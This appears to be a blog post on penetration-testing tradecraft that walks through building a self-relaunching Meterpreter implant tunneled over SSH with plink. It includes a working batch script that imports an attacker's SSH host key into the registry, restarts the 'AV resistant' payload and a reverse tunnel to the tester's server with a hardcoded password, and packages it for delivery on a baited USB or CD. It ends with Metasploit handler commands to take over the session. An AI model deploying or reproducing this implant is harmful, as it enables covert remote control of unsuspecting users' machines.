In this post I'll show you how to make a resilient meterpreter session that is tunneled over SSH back to your penetration testing machine. Resilient in that it will monitor the tools running needed to give me access and relaunch them if needed. This is NOT the same as a persistent backdoor that survives a reboot and is typically not part of a penetration test. But it is resilient, so if I kill the processes accidentally, they will relaunch themselves. This also isn't stealth although it could be made to be. It is visible to the end user.
First, lets get a few things out of they way. WHY tunnel Meterpreter over SSH? My intention is not to avoid IDS, but it will help achieve that. Meterpreter avoids IDS just fine on its own although I think it may still be possible to detect meterpreter before it is fully loaded and secured with TLS. But, if your trying to avoid IDS then tunneling over SSH isn't likely to hurt. Using SSH also allows me to add some authentication back to my host rather than just firewall rules on my Meterpreter console. Because I'm loading my servers SSH key on the client I am authenticating that the client is connecting to MY server. Of course this is easily manually bypassed, but my automated script will not connect if the server key does not match. Therefore I can say with confidence that the CD I leave in the parking lot will only connect that client back to my machine based. I've also verified that the meterpreter session coming in knows my ssh servers username and password.
Another advantage (that is not without risk) is that this configuration will allow you to do some name resolution for your tunnel. So if my pen-test machine is on an EVDO or other dynamic IP and it changes I can just update the DNS record and not the client tool. That is kind of nice.
Enough small talk, lets build a package containing a resilient meterpreter client that we can send into penetration testing clients environment on a USB or CDROM.
First I create an "AV resistant" copy of meterpreter as described here.
Next I get a copy of PLINK.EXE which is part of the putty project here
Next, connect to your SSH server once and export the registry key HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys. These are the keys you will need to import on the client so that PLINK can connect to your server without the SSH Fingerprint prompt. In this case I exported that key and called it "storedSSHkey.reg"
Then I create a .BAT or .CMD file with the following commands in it.
Contents of PROCMON.CMD
regedit /s storedSSHkey.reg for /L %%i in (1,0,2) do (wmic process WHERE name="metbind9999.exe" get name | find "metbind9999" && echo "meterpreter is running" || start metbind9999.exe) & ( wmic process WHERE name="plink.exe" get name | find "plink" && echo "plink running" || (start plink -R 9999:127.0.0.1:9999 -pw sshpass email@example.com)) & ping -n 5 127.0.0.1
This command script will first IMPORT the SSH key of our server into the registry of the clients machine so that when PLINK runs to connect back to our testing machine the SSH Fingerprint has already been accepted and the script will not pause indefinitely. In doing so, the client has validated the server its sending the shell to.
Next we start our FOR loop which resiliently relaunches the meterpreter process and the PLINK process if they die for some reason.
That is really all you need, but since we are going to build all the pieces anyway I like to include some other tools that I want to stage on the clients machine such as NCAT and a few others. Make sure your penetration testing agreement permits the installation of such tools.
I package all those tools up together along with the PROCMON.CMD file using iexpress. (be sure to enable long name support or you'll need to rename all the files in the package to 8.3 format) The the package is ready to send to a penetration testing client. Here is a video demonstrating the creation of the package and some process resiliency testing.
Once the client has opened the package you will have a connection waiting for you on the port you have designated on your SSH server. In the example above it is listening on port 9999 on my SSH server. Then you can use the multi/handler to connect and use it.
msf > use multi/handler msf exploit(handler) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(handler) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 msf exploit(handler) > set LPORT 9999 LPORT => 9999 msf exploit(handler) > exploit